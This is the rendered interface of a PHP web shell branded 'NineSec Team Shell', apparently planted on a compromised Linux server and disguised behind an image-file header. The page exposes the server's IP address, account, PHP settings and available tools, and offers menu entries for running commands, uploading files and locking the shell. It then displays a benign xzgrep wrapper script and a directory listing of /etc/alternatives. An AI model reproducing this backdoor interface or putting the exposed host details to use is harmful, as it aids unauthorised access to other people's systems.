�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/fail2ban/../alternatives/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/fail2ban/../alternatives/lzfgrep
#!/bin/sh

# xzgrep -- a wrapper around a grep program that decompresses files as needed
# Adapted from a version sent by Charles Levert <charles@comm.polymtl.ca>

# Copyright (C) 1998, 2001, 2002, 2006, 2007 Free Software Foundation
# Copyright (C) 1993 Jean-loup Gailly

# Modified for XZ Utils by Andrew Dudman and Lasse Collin.

# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.

# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.

#SET_PATH - This line is a placeholder to ease patching this script.

# Instead of unsetting XZ_OPT, just make sure that xz will use file format
# autodetection. This way memory usage limit and thread limit can be
# specified via XZ_OPT. With gzip, bzip2, and lzop it's OK to just unset the
# environment variables.
xz='xz --format=auto'
unset GZIP BZIP BZIP2 LZOP

case ${0##*/} in
  *egrep*) prog=xzegrep; grep=${GREP:-egrep};;
  *fgrep*) prog=xzfgrep; grep=${GREP:-fgrep};;
  *)       prog=xzgrep; grep=${GREP:-grep};;
esac

version="$prog (XZ Utils) 5.2.4"

usage="Usage: ${0##*/} [OPTION]... [-e] PATTERN [FILE]...
Look for instances of PATTERN in the input FILEs, using their
uncompressed contents if they are compressed.

OPTIONs are the same as for '$grep'.

Report bugs to <lasse.collin@tukaani.org>."

# sed script to escape all ' for the shell, and then (to handle trailing
# newlines correctly) turn trailing X on last line into '.
escape='
  s/'\''/'\''\\'\'''\''/g
  $s/X$/'\''/
'
operands=
have_pat=0
files_with_matches=0
files_without_matches=0
no_filename=0
with_filename=0

while test $# -ne 0; do
  option=$1
  shift
  optarg=

  case $option in
  (-[0123456789abcdhHiIKLlnoqrRsTuUvVwxyzZ]?*)
    arg2=-\'$(expr "X${option}X" : 'X-.[0-9]*\(.*\)' | sed "$escape")
    eval "set -- $arg2 "'${1+"$@"}'
    option=$(expr "X$option" : 'X\(-.[0-9]*\)');;
  (--binary-*=* | --[lm]a*=* | --reg*=*)
    ;;
  (-[ABCDefm] | --binary-* | --file | --[lm]a* | --reg*)
    case ${1?"$option option requires an argument"} in
    (*\'*)
      optarg=" '"$(printf '%sX\n' "$1" | sed "$escape");;
    (*)
      optarg=" '$1'";;
    esac
    shift;;
  (--)
    break;;
  (-?*)
    ;;
  (*)
    case $option in
    (*\'*)
      operands="$operands '"$(printf '%sX\n' "$option" | sed "$escape");;
    (*)
      operands="$operands '$option'";;
    esac
    ${POSIXLY_CORRECT+break}
    continue;;
  esac

  case $option in
  (-[drRzZ] | --di* | --exc* | --inc* | --rec* | --nu*)
    printf >&2 '%s: %s: Option not supported\n' "$0" "$option"
    exit 2;;
  (-[ef]* | --file | --file=* | --reg*)
    have_pat=1;;
  (--h | --he | --hel | --help)
    echo "$usage" || exit 2
    exit;;
  (-H | --wi | --wit | --with | --with- | --with-f | --with-fi \
  | --with-fil | --with-file | --with-filen | --with-filena | --with-filenam \
  | --with-filename)
    with_filename=1
    continue;;
  (-l | --files-with-*)
    files_with_matches=1
    continue;;
  (-L | --files-witho*)
    files_without_matches=1
    continue;;
  (-h | --no-f*)
    no_filename=1;;
  (-V | --v | --ve | --ver | --vers | --versi | --versio | --version)
    echo "$version" || exit 2
    exit;;
  esac

  case $option in
  (*\'?*)
    option=\'$(expr "X${option}X" : 'X\(.*\)' | sed "$escape");;
  (*)
    option="'$option'";;
  esac

  grep="$grep $option$optarg"
done

if test $files_with_matches -eq 1 || test $files_without_matches -eq 1; then
  grep="$grep -q"
fi

eval "set -- $operands "'${1+"$@"}'

if test $have_pat -eq 0; then
  case ${1?"Missing pattern; try \`${0##*/} --help' for help"} in
  (*\'*)
    grep="$grep -- '"$(printf '%sX\n' "$1" | sed "$escape");;
  (*)
    grep="$grep -- '$1'";;
  esac
  shift
fi

if test $# -eq 0; then
  set -- -
fi

exec 3>&1

# res=1 means that no file matched yet
res=1

for i; do
  case $i in
    *[-.][zZ] | *_z | *[-.]gz | *.t[ag]z) uncompress="gzip -cdfq";;
    *[-.]bz2 | *[-.]tbz | *.tbz2) uncompress="bzip2 -cdfq";;
    *[-.]lzo | *[-.]tzo) uncompress="lzop -cdfq";;
    *) uncompress="$xz -cdfq";;
  esac
  # Fail if xz or grep (or sed) fails.
  xz_status=$(
    exec 5>&1
    ($uncompress -- "$i" 5>&-; echo $? >&5) 3>&- |
    if test $files_with_matches -eq 1; then
      eval "$grep" && { printf '%s\n' "$i" || exit 2; }
    elif test $files_without_matches -eq 1; then
      eval "$grep" || {
        r=$?
        if test $r -eq 1; then
          printf '%s\n' "$i" || r=2
        fi
        exit $r
      }
    elif test $with_filename -eq 0 &&
         { test $# -eq 1 || test $no_filename -eq 1; }; then
      eval "$grep"
    else
      # Append a colon so that the last character will never be a newline
      # which would otherwise get lost in shell command substitution.
      i="$i:"

      # Escape & \ | and newlines only if such characters are present
      # (speed optimization).
      case $i in
      (*'
'* | *'&'* | *'\'* | *'|'*)
        i=$(printf '%s\n' "$i" | LC_ALL=C sed 's/[&\|]/\\&/g; $!s/$/\\/');;
      esac

      # $i already ends with a colon so don't add it here.
      sed_script="s|^|$i|"

      # Fail if grep or sed fails.
      r=$(
        exec 4>&1
        (eval "$grep" 4>&-; echo $? >&4) 3>&- |
            LC_ALL=C sed "$sed_script" >&3 4>&-
      ) || r=2
      exit $r
    fi >&3 5>&-
  )
  r=$?

  # fail occured previously, nothing worse can happen
  test $res -gt 1 && continue

  test "$xz_status" -eq 0 || test "$xz_status" -eq 2 \
      || test "$(kill -l "$xz_status" 2> /dev/null)" = "PIPE" || r=2

  # still no match
  test $r -eq 1 && continue

  # 0 == match, >=2 == fail
  res=$r
done
exit $res

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 18 2025 4:18:40
root
0755
mecab-dictionary
--
March 29 2022 10:42:17
root
0755
Mail
110.242 KB
August 08 2018 11:12:01
root
0755
Mail.1.gz
10.729 KB
August 08 2018 11:12:01
root
0644
README
0.098 KB
March 23 2020 7:12:54
root
0644
arptables
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-restore
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-save
215.32 KB
May 09 2023 8:39:57
root
0755
awk
158.742 KB
February 16 2020 8:41:09
root
0755
awk.1.gz
15.348 KB
February 16 2020 8:41:09
root
0644
builtins.7.gz
0.496 KB
April 18 2022 11:14:46
root
0644
c++
1.1 MB
October 24 2022 11:28:06
root
0755
c++.1.gz
327.706 KB
October 24 2022 11:28:06
root
0644
c89
0.418 KB
May 07 2006 11:28:01
root
0755
c89.1.gz
1.333 KB
February 27 2001 2:28:32
root
0644
c99
0.443 KB
April 11 2011 9:54:37
root
0755
c99.1.gz
1.387 KB
March 20 2020 2:52:47
root
0644
cc
1.1 MB
October 24 2022 11:28:06
root
0755
cc.1.gz
327.706 KB
October 24 2022 11:28:06
root
0644
cpp
1.1 MB
October 24 2022 11:28:06
root
0755
ebtables
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-restore
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-save
215.32 KB
May 09 2023 8:39:57
root
0755
editor
312.633 KB
April 10 2020 4:12:30
root
0755
editor.1.gz
6.44 KB
April 10 2020 4:12:30
root
0644
ex
1.29 MB
December 07 2023 4:42:49
root
0755
ex.1.gz
5.287 KB
December 07 2023 4:42:49
root
0644
ex.da.1.gz
5.515 KB
December 07 2023 4:42:49
root
0644
ex.de.1.gz
6.72 KB
December 07 2023 4:42:49
root
0644
ex.fr.1.gz
6.374 KB
December 07 2023 4:42:49
root
0644
ex.it.1.gz
5.958 KB
December 07 2023 4:42:49
root
0644
ex.ja.1.gz
5.728 KB
December 07 2023 4:42:49
root
0644
ex.pl.1.gz
6.147 KB
December 07 2023 4:42:49
root
0644
ex.ru.1.gz
6.962 KB
December 07 2023 4:42:49
root
0644
faked.1.gz
1.162 KB
September 07 2019 12:48:18
root
0644
faked.es.1.gz
1.415 KB
September 07 2019 12:48:18
root
0644
faked.fr.1.gz
1.486 KB
September 07 2019 12:48:18
root
0644
faked.sv.1.gz
1.404 KB
September 07 2019 12:48:18
root
0644
fakeroot
3.761 KB
September 07 2019 12:48:18
root
0755
fakeroot.1.gz
3.912 KB
September 07 2019 12:48:18
root
0644
fakeroot.es.1.gz
4.382 KB
September 07 2019 12:48:18
root
0644
fakeroot.fr.1.gz
4.591 KB
September 07 2019 12:48:18
root
0644
fakeroot.sv.1.gz
4.189 KB
September 07 2019 12:48:18
root
0644
from
14.148 KB
March 30 2020 11:26:14
root
0755
from.1.gz
1.431 KB
March 30 2020 11:26:14
root
0644
ftp
106.695 KB
February 24 2019 2:39:21
root
0755
ftp.1.gz
9.024 KB
February 24 2019 2:39:21
root
0644
futurize
0.375 KB
January 25 2023 9:33:14
root
0755
gnome-www-browser
2.604 KB
February 06 2024 2:59:08
root
0755
infobrowser
309.742 KB
October 11 2019 12:32:01
root
0755
infobrowser.1.gz
1.383 KB
October 11 2019 12:32:01
root
0644
ip6tables
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-restore
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-save
96.969 KB
May 09 2023 8:39:57
root
0755
iptables
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-restore
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-save
96.969 KB
May 09 2023 8:39:57
root
0755
libblas.so.3-x86_64-linux-gnu
429.844 KB
March 21 2020 1:27:50
root
0644
liblapack.so.3-x86_64-linux-gnu
6.63 MB
March 21 2020 1:27:50
root
0644
lzcat
78.5 KB
April 08 2022 2:56:10
root
0755
lzcat.1.gz
19.87 KB
April 08 2022 2:56:10
root
0644
lzcmp
6.477 KB
April 08 2022 2:56:10
root
0755
lzcmp.1.gz
0.648 KB
April 08 2022 2:56:10
root
0644
lzdiff
6.477 KB
April 08 2022 2:56:10
root
0755
lzdiff.1.gz
0.648 KB
April 08 2022 2:56:10
root
0644
lzegrep
5.764 KB
April 08 2022 2:56:10
root
0755
lzegrep.1.gz
0.684 KB
April 08 2022 2:56:10
root
0644
lzfgrep
5.764 KB
April 08 2022 2:56:10
root
0755
lzfgrep.1.gz
0.684 KB
April 08 2022 2:56:10
root
0644
lzgrep
5.764 KB
April 08 2022 2:56:10
root
0755
lzgrep.1.gz
0.684 KB
April 08 2022 2:56:10
root
0644
lzless
1.76 KB
April 08 2022 2:56:10
root
0755
lzless.1.gz
0.726 KB
April 08 2022 2:56:10
root
0644
lzma
78.5 KB
April 08 2022 2:56:10
root
0755
lzma.1.gz
19.87 KB
April 08 2022 2:56:10
root
0644
lzmore
2.11 KB
April 08 2022 2:56:10
root
0755
lzmore.1.gz
0.621 KB
April 08 2022 2:56:10
root
0644
mail
110.242 KB
August 08 2018 11:12:01
root
0755
mail.1.gz
10.729 KB
August 08 2018 11:12:01
root
0644
mailx
110.242 KB
August 08 2018 11:12:01
root
0755
mailx.1.gz
10.729 KB
August 08 2018 11:12:01
root
0644
mt
86.781 KB
August 25 2021 12:52:28
root
0755
mt.1.gz
1.983 KB
August 25 2021 12:52:28
root
0644
my.cnf
0.666 KB
August 19 2021 3:32:33
root
0644
nawk
158.742 KB
February 16 2020 8:41:09
root
0755
nawk.1.gz
15.348 KB
February 16 2020 8:41:09
root
0644
nc
42.641 KB
March 09 2020 7:50:15
root
0755
nc.1.gz
6.13 KB
March 09 2020 7:50:15
root
0644
netcat
42.641 KB
March 09 2020 7:50:15
root
0755
netcat.1.gz
6.13 KB
March 09 2020 7:50:15
root
0644
netrc.5.gz
2.035 KB
February 24 2019 2:39:21
root
0644
newt-palette
0.156 KB
December 18 2019 5:12:28
root
0644
org.fedoraproject.FirewallD1.policy
3.926 KB
April 04 2020 7:50:39
root
0644
pager
175.844 KB
July 02 2020 1:25:13
root
0755
pager.1.gz
20.751 KB
July 02 2020 1:25:13
root
0644
pasteurize
0.379 KB
January 25 2023 9:33:14
root
0755
pbr
0.148 KB
April 09 2020 9:32:59
root
0755
pftp
106.695 KB
February 24 2019 2:39:21
root
0755
pftp.1.gz
9.024 KB
February 24 2019 2:39:21
root
0644
phar
14.882 KB
January 20 2024 3:16:18
root
0755
phar.1.gz
2.785 KB
January 20 2024 3:16:18
root
0644
phar.phar
14.882 KB
January 20 2024 3:16:18
root
0755
phar.phar.1.gz
0.035 KB
January 20 2024 3:16:18
root
0644
php
5.51 MB
January 20 2024 3:16:18
root
0755
php-cgi
5.39 MB
January 20 2024 3:16:18
root
0755
php-cgi-bin
5.39 MB
January 20 2024 3:16:18
root
0755
php-cgi.1.gz
0.034 KB
January 20 2024 3:16:18
root
0644
php.1.gz
3.739 KB
January 20 2024 3:16:18
root
0644
pico
312.633 KB
April 10 2020 4:12:30
root
0755
pico.1.gz
6.44 KB
April 10 2020 4:12:30
root
0644
pinentry
66.641 KB
March 22 2020 4:54:08
root
0755
pinentry.1.gz
1.381 KB
March 22 2020 4:54:08
root
0644
rcp
114.297 KB
January 02 2024 6:13:02
root
0755
rcp.1.gz
2.559 KB
January 02 2024 6:13:02
root
0644
rlogin
774.945 KB
January 02 2024 6:13:02
root
0755
rlogin.1.gz
14.61 KB
January 02 2024 6:13:02
root
0644
rmt
58.547 KB
December 05 2023 6:16:50
root
0755
rmt.8.gz
2.336 KB
December 05 2023 6:16:50
root
0644
rsh
774.945 KB
January 02 2024 6:13:02
root
0755
rsh.1.gz
14.61 KB
January 02 2024 6:13:02
root
0644
rview
1.29 MB
December 07 2023 4:42:49
root
0755
suexec
26.227 KB
October 26 2023 3:54:09
root
4754
suexec.8.gz
1.381 KB
October 26 2023 3:54:09
root
0644
telnet
112.672 KB
March 23 2020 7:20:39
root
0755
telnet.1.gz
8.803 KB
March 23 2020 7:20:39
root
0644
text.plymouth
0.2 KB
February 12 2024 9:12:57
root
0644
traceroute6
26.148 KB
September 13 2022 9:06:15
root
0755
traceroute6.8.gz
0.884 KB
September 13 2022 9:06:15
root
0644
unlzma
78.5 KB
April 08 2022 2:56:10
root
0755
unlzma.1.gz
19.87 KB
April 08 2022 2:56:10
root
0644
unrar
376.875 KB
March 22 2020 5:01:42
root
0755
unrar.1.gz
0.859 KB
March 22 2020 5:01:42
root
0644
vi
1.29 MB
December 07 2023 4:42:49
root
0755
vi.1.gz
5.287 KB
December 07 2023 4:42:49
root
0644
vi.da.1.gz
5.515 KB
December 07 2023 4:42:49
root
0644
vi.de.1.gz
6.72 KB
December 07 2023 4:42:49
root
0644
vi.fr.1.gz
6.374 KB
December 07 2023 4:42:49
root
0644
vi.it.1.gz
5.958 KB
December 07 2023 4:42:49
root
0644
vi.ja.1.gz
5.728 KB
December 07 2023 4:42:49
root
0644
vi.pl.1.gz
6.147 KB
December 07 2023 4:42:49
root
0644
vi.ru.1.gz
6.962 KB
December 07 2023 4:42:49
root
0644
view
1.29 MB
December 07 2023 4:42:49
root
0755
view.1.gz
5.287 KB
December 07 2023 4:42:49
root
0644
view.da.1.gz
5.515 KB
December 07 2023 4:42:49
root
0644
view.de.1.gz
6.72 KB
December 07 2023 4:42:49
root
0644
view.fr.1.gz
6.374 KB
December 07 2023 4:42:49
root
0644
view.it.1.gz
5.958 KB
December 07 2023 4:42:49
root
0644
view.ja.1.gz
5.728 KB
December 07 2023 4:42:49
root
0644
view.pl.1.gz
6.147 KB
December 07 2023 4:42:49
root
0644
view.ru.1.gz
6.962 KB
December 07 2023 4:42:49
root
0644
vtrgb
0.154 KB
March 27 2020 11:10:06
root
0644
w
22.227 KB
October 31 2023 12:35:56
root
0755
w.1.gz
1.25 KB
October 31 2023 12:35:56
root
0644
write
14.148 KB
March 30 2020 11:26:14
root
2755
write.1.gz
1.803 KB
March 30 2020 11:26:14
root
0644
www-browser
1.85 MB
February 28 2020 3:28:01
root
0755
www-browser.1.gz
14.206 KB
February 28 2020 3:28:01
root
0644
x-cursor-theme
0.029 KB
May 20 2020 3:58:36
root
0644
x-www-browser
2.604 KB
February 06 2024 2:59:08
root
0755

NineSec Team - 2022